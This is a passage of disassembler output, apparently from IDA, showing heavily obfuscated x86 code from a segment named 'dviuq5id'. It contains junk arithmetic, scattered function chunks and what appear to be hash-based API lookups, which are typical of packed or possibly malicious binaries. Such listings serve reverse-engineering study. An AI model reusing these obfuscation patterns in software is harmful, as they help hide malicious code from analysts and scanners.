loc_45385B:				; CODE XREF: sub_442BFE:loc_43B18Fj
		rol	eax, 14h
		push	ebx
		push	509F4D3Eh
		pop	ebx
		sub	ebx, 5F25D1AAh
		rol	ebx, 1Dh
		test	ebx, 1000h
		jmp	loc_44B3D3
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0]
		jmp	sub_443A0A
; ---------------------------------------------------------------------------
		sbb	edi, 1DE48F74h
		test	eax, 0F9083CF7h
		jmp	loc_440745
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_453892:				; CODE XREF: sub_459385:loc_445395j
		jl	loc_44D2FF

loc_453898:				; CODE XREF: dviuq5id:0045073Aj
		jmp	loc_43F36A
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
		sub	ebx, 0AE1F240h
		jmp	loc_44D2F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_4538A8:				; CODE XREF: sub_44AB80:loc_43EDFCj
		jz	loc_443029
		jmp	loc_4577B8
; END OF FUNCTION CHUNK	FOR sub_44AB80

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4538B3	proc near		; CODE XREF: sub_43BAC4j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043DEF9 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00440F3A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044337A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044379C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044421A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044879C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0044B271 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00452372 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00453EA2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00457669 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	esi, [esp+4+var_4]
		mov	ebp, esi
		pop	esi
		mov	eax, ds:dword_43F078
		jmp	loc_452372
sub_4538B3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446A9C

loc_4538CA:				; CODE XREF: sub_446A9C+7A3Aj
		xor	eax, eax

loc_4538CC:				; CODE XREF: sub_458A79:loc_448932j
		mov	[ebp-28h], eax
		push	eax
		push	0C47E3E07h
		pop	eax
		jmp	loc_449AE6
; END OF FUNCTION CHUNK	FOR sub_446A9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C84

loc_4538DB:				; CODE XREF: sub_441C84:loc_441C94j
		xor	edi, 0F2294A1h
		add	edi, ebp
		add	edi, 5F00957Eh
		mov	[edi], eax
		pop	edi
		mov	eax, [ebp-4]
		mov	al, [eax]
		jmp	loc_43CC64
; END OF FUNCTION CHUNK	FOR sub_441C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4404A6

loc_4538F6:				; CODE XREF: sub_4404A6:loc_43B111j
		pop	esi
		xchg	ecx, edx
; END OF FUNCTION CHUNK	FOR sub_4404A6
; START	OF FUNCTION CHUNK FOR sub_454094

loc_4538F9:				; CODE XREF: sub_454094-656Aj
		jmp	loc_4497AF
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------

loc_4538FE:				; CODE XREF: dviuq5id:00441597j
		and	ebp, esi
; START	OF FUNCTION CHUNK FOR sub_44A015

loc_453900:				; CODE XREF: sub_44A015-8A8Fj
		xor	ebx, 0A6DA40BBh
		xor	eax, ebx
		pop	ebx
		push	esi
		pushf
		push	7BEC9DF0h
		pop	esi
		jmp	loc_44545A
; END OF FUNCTION CHUNK	FOR sub_44A015

; =============== S U B	R O U T	I N E =======================================



sub_453916	proc near		; DATA XREF: sub_4462EC-8FD2o

; FUNCTION CHUNK AT 00444186 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044A2B8 SIZE 00000005 BYTES

		mov	eax, [esp+0]
		push	edx
		call	sub_43E615
		mov	eax, 462C961Fh
		call	sub_453642
		mov	ds:off_41D16C, eax
		jmp	loc_44A2B8
sub_453916	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_453934:				; CODE XREF: sub_43F4F8+5j
		mov	ebp, esp
		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp+4+var_4]
		mov	[ebp-4], eax
		push	0A06635A1h
		pop	eax
		jmp	loc_451631
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; ---------------------------------------------------------------------------

locret_45394A:				; CODE XREF: dviuq5id:loc_452AA0j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4A4

loc_45394B:				; CODE XREF: sub_43E4A4+C4A4j
		jmp	loc_448C05
; END OF FUNCTION CHUNK	FOR sub_43E4A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45345A

loc_453950:				; CODE XREF: sub_45345A-F0ECj
		jmp	nullsub_181
; END OF FUNCTION CHUNK	FOR sub_45345A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB39

loc_453955:				; CODE XREF: sub_44CB39:loc_451B36j
		call	sub_445A59
		push	7C07C5E1h
		pop	eax
		or	eax, 912C90E7h
		add	eax, 0E849CBDFh
		xor	eax, 16F303A4h
		jmp	loc_442965
; END OF FUNCTION CHUNK	FOR sub_44CB39

; =============== S U B	R O U T	I N E =======================================



sub_453977	proc near		; CODE XREF: sub_43E84C+7FBj
		push	ebx
		push	offset sub_44F746
		jmp	loc_45248E
sub_453977	endp

; ---------------------------------------------------------------------------

loc_453982:				; CODE XREF: dviuq5id:004495D2j
		and	edx, 3280102Ah
		add	eax, ecx
		xchg	edi, [esi]
		xor	ebx, esi
		jmp	loc_43B17F
; ---------------------------------------------------------------------------

loc_453993:				; CODE XREF: dviuq5id:0044F108j
		sub	ebp, 6AF52714h
		add	ebx, esi
; START	OF FUNCTION CHUNK FOR sub_44BB53

loc_45399B:				; CODE XREF: sub_44BB53:loc_44F0EBj
		sub	eax, 0DF2EE3DDh
		and	eax, 0D5B59479h
		rol	eax, 10h
		jmp	loc_44FDAC
; END OF FUNCTION CHUNK	FOR sub_44BB53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449AC6

loc_4539AF:				; CODE XREF: sub_449AC6:loc_442D6Bj
		or	edx, 9ACD50E2h
		xor	edx, 0E27BEFDDh
		or	edx, 0D22F6766h
		add	edx, 2550889Eh
		add	eax, edx
		pop	edx
		mov	ebp, [eax]
		jmp	loc_449376
; END OF FUNCTION CHUNK	FOR sub_449AC6

; =============== S U B	R O U T	I N E =======================================



sub_4539D1	proc near		; DATA XREF: sub_4402E1+281Fo
		add	eax, 0A2D58AA3h
		xchg	eax, [esp+0]
		jmp	sub_45000B
sub_4539D1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E255

loc_4539DF:				; CODE XREF: sub_44E255:loc_43DCEEj
		push	offset loc_44447F
		jmp	locret_44C5B3
; END OF FUNCTION CHUNK	FOR sub_44E255
; ---------------------------------------------------------------------------

loc_4539E9:				; CODE XREF: dviuq5id:004445D3j
		add	esi, 98BDB126h

; =============== S U B	R O U T	I N E =======================================



sub_4539EF	proc near		; CODE XREF: sub_450667-13F8Dp
		xchg	esi, [esp+0]
		pop	esi
		add	eax, 7DFE6F06h
		jmp	loc_43F370
sub_4539EF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_4539FE:				; CODE XREF: sub_454094:loc_44B340j
		sub	edx, 96F2E485h
		add	edx, 0D3AD049Bh
		xchg	edx, [esp+4+var_4]
		jmp	nullsub_34
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_453A12:				; CODE XREF: sub_4525D0+71D2j
		ja	loc_45440C
		xor	eax, 0B427A506h
; END OF FUNCTION CHUNK	FOR sub_4525D0
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_453A1E:				; CODE XREF: sub_44D022:loc_43DDCFj
					; sub_44D022:loc_43E550j ...
		jmp	loc_44B1D3
; END OF FUNCTION CHUNK	FOR sub_44D022
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458712

loc_453A23:				; CODE XREF: sub_44D022-542Dj
					; sub_458712+3j
		xchg	esi, [esp+0]
		mov	ecx, esi
		pop	esi
		jmp	loc_456C80
; END OF FUNCTION CHUNK	FOR sub_458712
; ---------------------------------------------------------------------------

loc_453A2E:				; CODE XREF: dviuq5id:00455C91j
		mov	eax, [esp]

loc_453A31:				; CODE XREF: dviuq5id:004466E9j
		push	edx
		call	sub_445A59
		mov	eax, 0C684C00Ch
		call	sub_453642
		mov	ds:dword_41D088, eax
		lea	eax, nullsub_514
		push	offset sub_455B0A
		jmp	loc_44DAA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_453A57:				; CODE XREF: sub_441DDA+F945j
		jg	loc_448DAB
		xor	edx, 7AD16D42h
		mov	eax, edi

loc_453A65:				; CODE XREF: sub_441DDA:loc_4496CBj
		cmp	dword ptr [ebp-108h], 436E6F4Dh
		jnz	loc_445692
		jmp	loc_4462B0
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_453A7A:				; CODE XREF: sub_43938B:loc_444978j
		pop	eax
		and	eax, 0A7F3563Eh
		xor	eax, 0FE3DEF22h
		test	eax, 4
		jmp	loc_45590A
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------

loc_453A92:				; CODE XREF: dviuq5id:loc_44E3B5j
		jnz	loc_4578EB
		jmp	loc_43B1ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452558

loc_453A9D:				; CODE XREF: sub_452558-EEC8j
		jnz	loc_454EF8

loc_453AA3:				; CODE XREF: sub_43DA15+E6C0j
		jmp	sub_4463B7
; END OF FUNCTION CHUNK	FOR sub_452558
; ---------------------------------------------------------------------------
		push	ecx
		mov	edx, [ecx]
		adc	ebp, edx
		jmp	loc_454EF8
; ---------------------------------------------------------------------------
		popf
		jmp	sub_43C2DA
; ---------------------------------------------------------------------------

loc_453AB8:				; CODE XREF: dviuq5id:00449D93j
		jl	loc_4477F7

loc_453ABE:				; CODE XREF: dviuq5id:loc_44E2A4j
		add	eax, 0E57F1B48h
		call	sub_453642
		push	offset loc_4462CD
		jmp	locret_44A7C0
; ---------------------------------------------------------------------------

loc_453AD3:				; DATA XREF: sub_459804:loc_448895o
		cmp	dword ptr [eax-0Ch], 4
		jnz	loc_453AE6
		add	dword ptr [ebp-8], 4
		jmp	loc_448886
; ---------------------------------------------------------------------------

loc_453AE6:				; CODE XREF: dviuq5id:00453AD7j
		add	dword ptr [ebp-8], 2
		jmp	loc_448886
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_453AEF:				; CODE XREF: sub_451B18+3C21j
					; sub_451B18+42BFj
		test	byte ptr [ebp-8], 20h
		jmp	loc_457973
; END OF FUNCTION CHUNK	FOR sub_451B18
; ---------------------------------------------------------------------------

loc_453AF8:				; CODE XREF: dviuq5id:0043A0E9j
		jg	loc_44C431
		add	ecx, 6AE7BD1Dh
		shl	ebp, 1Ch
		jmp	loc_451FF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_453B0C:				; CODE XREF: sub_454267+6248j
		add	ecx, 0CD1F0E33h
		add	ecx, ebp
		add	ecx, 31CCD3EFh
		mov	ecx, [ecx]
		and	ecx, 7
		call	sub_43DDAC

loc_453B24:				; CODE XREF: sub_44C85A+D5D7j
		jmp	sub_43D80D
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BDEB

loc_453B29:				; CODE XREF: sub_44BDEB+D059j
		jmp	loc_454A16
; END OF FUNCTION CHUNK	FOR sub_44BDEB
; ---------------------------------------------------------------------------

loc_453B2E:				; DATA XREF: sub_4419B6+7674o
		sub	eax, ecx
		xchg	ebp, [esp]
		mov	ecx, ebp
		pop	ebp
		xor	eax, 0C0466FE6h
		call	sub_451A79
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_453B41:				; CODE XREF: sub_4492F0-29EFj
		jmp	loc_450E8B
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A919

loc_453B46:				; CODE XREF: sub_43A919+96ABj
		jmp	loc_44C8AD
; END OF FUNCTION CHUNK	FOR sub_43A919
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4A4

loc_453B4B:				; CODE XREF: sub_43E4A4+Dj
		jnz	loc_439E5E
		jmp	loc_44493D
; END OF FUNCTION CHUNK	FOR sub_43E4A4
; ---------------------------------------------------------------------------

loc_453B56:				; CODE XREF: dviuq5id:00441FD4j
		jo	loc_44FFC6
		ror	eax, 19h
		jmp	loc_446329
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F35

loc_453B64:				; CODE XREF: sub_445F35-6DEAj
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_445F35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4435C5

loc_453B66:				; CODE XREF: sub_4435C5+10j
		jmp	loc_443EB9
; END OF FUNCTION CHUNK	FOR sub_4435C5

; =============== S U B	R O U T	I N E =======================================



sub_453B6B	proc near		; CODE XREF: sub_446544:loc_43F13Fp
					; sub_45169D-116D9p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0044F2B9 SIZE 00000017 BYTES

		push	eax
		push	eax
		jmp	loc_44F2B9
sub_453B6B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A4E3

loc_453B72:				; CODE XREF: sub_44A4E3+E1A2j
		xor	edx, 37BCF724h
		xor	ecx, edx
		jmp	loc_439B41
; END OF FUNCTION CHUNK	FOR sub_44A4E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440CA

loc_453B7F:				; CODE XREF: sub_4440CA+1Aj
		jl	loc_4455A6
; END OF FUNCTION CHUNK	FOR sub_4440CA
; START	OF FUNCTION CHUNK FOR sub_447ECD

loc_453B85:				; CODE XREF: sub_447ECD-4AE8j
		jmp	loc_44A088
; END OF FUNCTION CHUNK	FOR sub_447ECD
; ---------------------------------------------------------------------------
		not	ecx
		sbb	ebx, 0BA13EBDCh
		jmp	loc_4455A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_453B97:				; CODE XREF: sub_43AEAA+89D9j
		push	eax
		push	ecx
		push	73001719h
		pop	ecx

loc_453B9F:				; CODE XREF: dviuq5id:loc_44E9E1j
		jmp	loc_44F89D
; END OF FUNCTION CHUNK	FOR sub_43AEAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_453BA4:				; CODE XREF: dviuq5id:0043B5D1j
					; sub_439013+25E4j
		add	ebx, 25194E0h
		xchg	ebx, [esp+4+var_4]
		jmp	sub_43938B
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------

loc_453BB2:				; CODE XREF: dviuq5id:loc_442988j
		xchg	eax, [esp]
		push	esi
		push	0E44AA432h
		pop	esi
		jmp	loc_442E82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_453BC1:				; CODE XREF: sub_44A94D:loc_4514EEj
					; sub_44A94D+6BAEj
		add	esi, 0D646FA96h
		xchg	esi, [esp+0]
		jmp	loc_446AC7
; END OF FUNCTION CHUNK	FOR sub_44A94D

; =============== S U B	R O U T	I N E =======================================



sub_453BCF	proc near		; DATA XREF: sub_449948+6F00o

; FUNCTION CHUNK AT 0043D60C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044429C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B9C2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044FB76 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044FF7A SIZE 00000017 BYTES

		pop	edx
		mov	eax, 1
		shl	eax, cl
		mov	edx, [ebp-18h]
		shr	edx, 3
		jmp	loc_44429C
sub_453BCF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_453BE2	proc near		; DATA XREF: dviuq5id:0044E229o

; FUNCTION CHUNK AT 0043951A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00439672 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043BC1B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043E120 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EFA0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441F44 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447CD4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044A0D3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044B942 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044EB20 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00451018 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004558EE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0045916D SIZE 00000023 BYTES

		cmp	al, 0A4h
		jz	loc_455BC0
		jmp	loc_43E120
sub_453BE2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_453BEF:				; CODE XREF: sub_44AB80:loc_439C87j
		pop	edi
		sub	edi, 0CDF1A35Ah
		js	loc_43928A
		pushf
		js	loc_45078C
		jmp	loc_454208
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------

loc_453C08:				; CODE XREF: dviuq5id:004578C3j
		jge	loc_43E4D3
; START	OF FUNCTION CHUNK FOR sub_44A203

loc_453C0E:				; CODE XREF: sub_44A203-3560j
		jmp	sub_445A59
; END OF FUNCTION CHUNK	FOR sub_44A203
; ---------------------------------------------------------------------------

loc_453C13:				; CODE XREF: dviuq5id:00441D1Bj
		jmp	loc_445E2A
; ---------------------------------------------------------------------------
		dd 819C3F7h, 0BBE93B73h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_453C23:				; CODE XREF: dviuq5id:00451DA5j
					; dviuq5id:00459316j
		rol	ecx, 1Bh
		sbb	eax, 0A295E9E6h
		jle	nullsub_407
		jmp	loc_43AE45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458B72

loc_453C37:				; CODE XREF: sub_458B72:loc_43EBAEj
		rol	esi, 16h
		jmp	sub_448B23
; END OF FUNCTION CHUNK	FOR sub_458B72
; ---------------------------------------------------------------------------

loc_453C3F:				; CODE XREF: dviuq5id:loc_4390F1j
		add	esi, 20096DCEh
		call	sub_4454D9
; START	OF FUNCTION CHUNK FOR sub_440AB3

loc_453C4A:				; CODE XREF: sub_440AB3+16j
		jmp	loc_44288B
; END OF FUNCTION CHUNK	FOR sub_440AB3

; =============== S U B	R O U T	I N E =======================================



sub_453C4F	proc near		; CODE XREF: sub_45714A-12B46j

var_4		= dword	ptr -4
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+4+var_4]
		mov	ecx, [esp+4+arg_8]
		call	sub_43BDAE

loc_453C5E:				; CODE XREF: sub_43A160+13B98j
		jmp	nullsub_266
sub_453C4F	endp

; ---------------------------------------------------------------------------

loc_453C63:				; CODE XREF: dviuq5id:0044CAB5j
		pushf

loc_453C64:				; CODE XREF: dviuq5id:0044E04Aj
		or	edi, 5F8308F6h
		add	edi, 95A47Eh
		xchg	edi, [esp]
		jmp	sub_44A58C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E487

loc_453C78:				; CODE XREF: sub_43E487+6D83j
		add	edi, 0FFF9FF70h
		xchg	edi, [esp+0Ch+var_C]
		mov	eax, [ebp-8]
		jmp	loc_44A659
; END OF FUNCTION CHUNK	FOR sub_43E487
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446004

loc_453C89:				; CODE XREF: sub_446004:loc_44600Dj
		lea	eax, [ebp-20h]
		mov	dword ptr [eax], 70736957h
		jmp	loc_459AC8
; END OF FUNCTION CHUNK	FOR sub_446004
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_453C98	proc near		; CODE XREF: sub_458BA4:loc_456CECj
					; sub_44DB9B+AA77p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439554 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044EA30 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044FD99 SIZE 00000013 BYTES

		jnb	sub_452975
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_439554
sub_453C98	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_461. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_453CA8:				; CODE XREF: dviuq5id:0043D9F1j
		test	ebx, 0C89E55E5h
		jmp	loc_44BE53
; ---------------------------------------------------------------------------

locret_453CB3:				; CODE XREF: dviuq5id:loc_447FA0j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_453CB4:				; CODE XREF: sub_4463B7:loc_43C219j
		sub	edx, 7A6C8793h
		and	edx, 0B6AC5012h

loc_453CC0:				; CODE XREF: dviuq5id:00453D00j
		jnz	loc_445F63

loc_453CC6:				; CODE XREF: sub_4492F0+9872j
		jmp	loc_4422DE
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------
		jnz	loc_44D809
		jmp	loc_441031
; ---------------------------------------------------------------------------
		push	0A8002BD5h
		pop	eax
		rol	eax, 17h
		or	eax, 57D18D1Ch
		jmp	loc_43C67F
; ---------------------------------------------------------------------------

loc_453CEA:				; DATA XREF: sub_4547E2-2540o
		mov	al, [eax]
		and	al, 0F6h

loc_453CEE:				; CODE XREF: dviuq5id:00459247j
		cmp	al, 0C2h
		jz	loc_44FE53
		mov	eax, [ebp-4]
		jmp	loc_448246
; ---------------------------------------------------------------------------
		dw 9BCh
; ---------------------------------------------------------------------------
		jmp	short loc_453CC0
; ---------------------------------------------------------------------------
		dw 4E3h
; ---------------------------------------------------------------------------

loc_453D04:				; CODE XREF: dviuq5id:0043E63Cj
		jmp	loc_45A13C
; ---------------------------------------------------------------------------
		db 29h,	0FDh, 86h
dword_453D0C	dd 77DD0000h		; DATA XREF: sub_454228:loc_43C775r
					; sub_44D2A8-102E3r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_453D10:				; CODE XREF: sub_44B99E+D09Bj
		jmp	loc_44F134
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_453D15:				; CODE XREF: sub_454094-A8D6j
		jmp	loc_45177B
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
		dw 0B65Dh
dword_453D1C	dd 58768C2Ch, 916696E0h, 0D8366417h ; DATA XREF: sub_454228-19582o
					; sub_44D2A8-D9A6o
		db 0
; ---------------------------------------------------------------------------

loc_453D29:				; CODE XREF: dviuq5id:00445DC1j
		jmp	loc_43A420
; ---------------------------------------------------------------------------
		dw 0EE88h
dword_453D30	dd 0DC77DE7Ah		; DATA XREF: sub_44B2EA-1107Ew
					; sub_44B2EA-D6EAr
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_453D34:				; CODE XREF: sub_44B2EA:loc_451E6Bj
		push	edi
		push	0A5557B9Dh
		pop	edi
		xor	edi, 0E457C07h
		add	edi, 0D511AA5Ch
		jb	loc_454DEF

loc_453D4D:				; CODE XREF: sub_44B70C-581Bj
		jmp	loc_43C45D
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------

loc_453D52:				; CODE XREF: dviuq5id:0044FE4Ej
		and	ecx, edi

; =============== S U B	R O U T	I N E =======================================



sub_453D54	proc near		; CODE XREF: sub_44AE26+Ap

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	edx, [esp-4+arg_0]
		push	eax
		pop	esi
		call	sub_450E2B

loc_453D62:				; CODE XREF: dviuq5id:004468EBj
		jmp	sub_44E3BA
sub_453D54	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443FD3

loc_453D67:				; CODE XREF: sub_443FD3+18j
		jmp	nullsub_185
; END OF FUNCTION CHUNK	FOR sub_443FD3
; ---------------------------------------------------------------------------
		or	ecx, edx
		jmp	sub_457566
; ---------------------------------------------------------------------------

loc_453D73:				; CODE XREF: dviuq5id:0044A051j
		jp	loc_44847C

; =============== S U B	R O U T	I N E =======================================



sub_453D79	proc near		; CODE XREF: dviuq5id:00439BABp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B10B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00441EC0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004441C6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00444A14 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004459CB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004483FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448456 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044FD7F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00451743 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00452AE6 SIZE 0000001A BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_44CA9A
		jmp	loc_4441C6
sub_453D79	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457566

loc_453D8B:				; CODE XREF: sub_457566:loc_44B3CDj
		jl	loc_43DB20

loc_453D91:				; CODE XREF: sub_439259+12A78j
		jmp	loc_43D9B3
; END OF FUNCTION CHUNK	FOR sub_457566
; ---------------------------------------------------------------------------
		sub	esi, 101EDC87h
		popf
		jmp	loc_43DB18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_453DA2:				; CODE XREF: sub_44EAC4-D765j
		pop	ecx
		or	ecx, 3A1098ADh
		xor	ecx, 4219E52h
		and	ecx, 30D70D1h
		sub	ecx, 12365570h
		call	sub_4483A4

loc_453DC0:				; CODE XREF: sub_447698-809Fj
		jmp	loc_442D81
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------

loc_453DC5:				; CODE XREF: dviuq5id:loc_4448DEj
		add	ebx, 0A1F5898h
		sub	eax, ebx
		xchg	esi, [esp]
		mov	ebx, esi
		pop	esi
		xor	eax, 5121FA4Eh
		add	eax, 290DC7C7h
		rol	eax, 1Ah
		jmp	loc_4514C4
; ---------------------------------------------------------------------------

loc_453DE7:				; CODE XREF: dviuq5id:0045470Ej
		mov	ebp, edi
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_453DE9:				; CODE XREF: sub_44EAC4:loc_4546EFj
		add	edx, 53D931EFh
		rol	edx, 0Fh
		add	edx, 0F65F351Ch
		jmp	loc_459E54
; END OF FUNCTION CHUNK	FOR sub_44EAC4

; =============== S U B	R O U T	I N E =======================================



sub_453DFD	proc near		; CODE XREF: dviuq5id:00439F84j
					; dviuq5id:00447957p
		xchg	esi, [esp+0]
		pop	esi
		push	edx
		push	ecx
sub_453DFD	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43ED10

loc_453E03:				; CODE XREF: sub_43ED10:loc_455BB9j
		jmp	loc_443D78
; END OF FUNCTION CHUNK	FOR sub_43ED10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_453E08:				; CODE XREF: sub_43FA59:loc_43A747j
					; sub_43FA59-5300j
		or	eax, 9DE9F2A6h
		sub	eax, 9E3DFF3Ah
		jns	loc_439DFD
		not	eax
		jmp	loc_439DF4
; END OF FUNCTION CHUNK	FOR sub_43FA59
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_213. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F186

loc_453E22:				; CODE XREF: sub_44F186-27j
		jmp	sub_44E763
; END OF FUNCTION CHUNK	FOR sub_44F186
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441525

loc_453E27:				; CODE XREF: sub_441525+Aj
		pop	ecx
		xor	ecx, 0C4B975C0h
		push	offset loc_43BE6E
		jmp	sub_441016
; END OF FUNCTION CHUNK	FOR sub_441525
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446465

loc_453E38:				; CODE XREF: sub_446465:loc_443858j
		xor	eax, 167824A7h
		call	sub_453642
		push	edx
		push	73CD6Ah
		xchg	ecx, [esp+8+var_8]
		jmp	loc_446BC6
; END OF FUNCTION CHUNK	FOR sub_446465
; ---------------------------------------------------------------------------
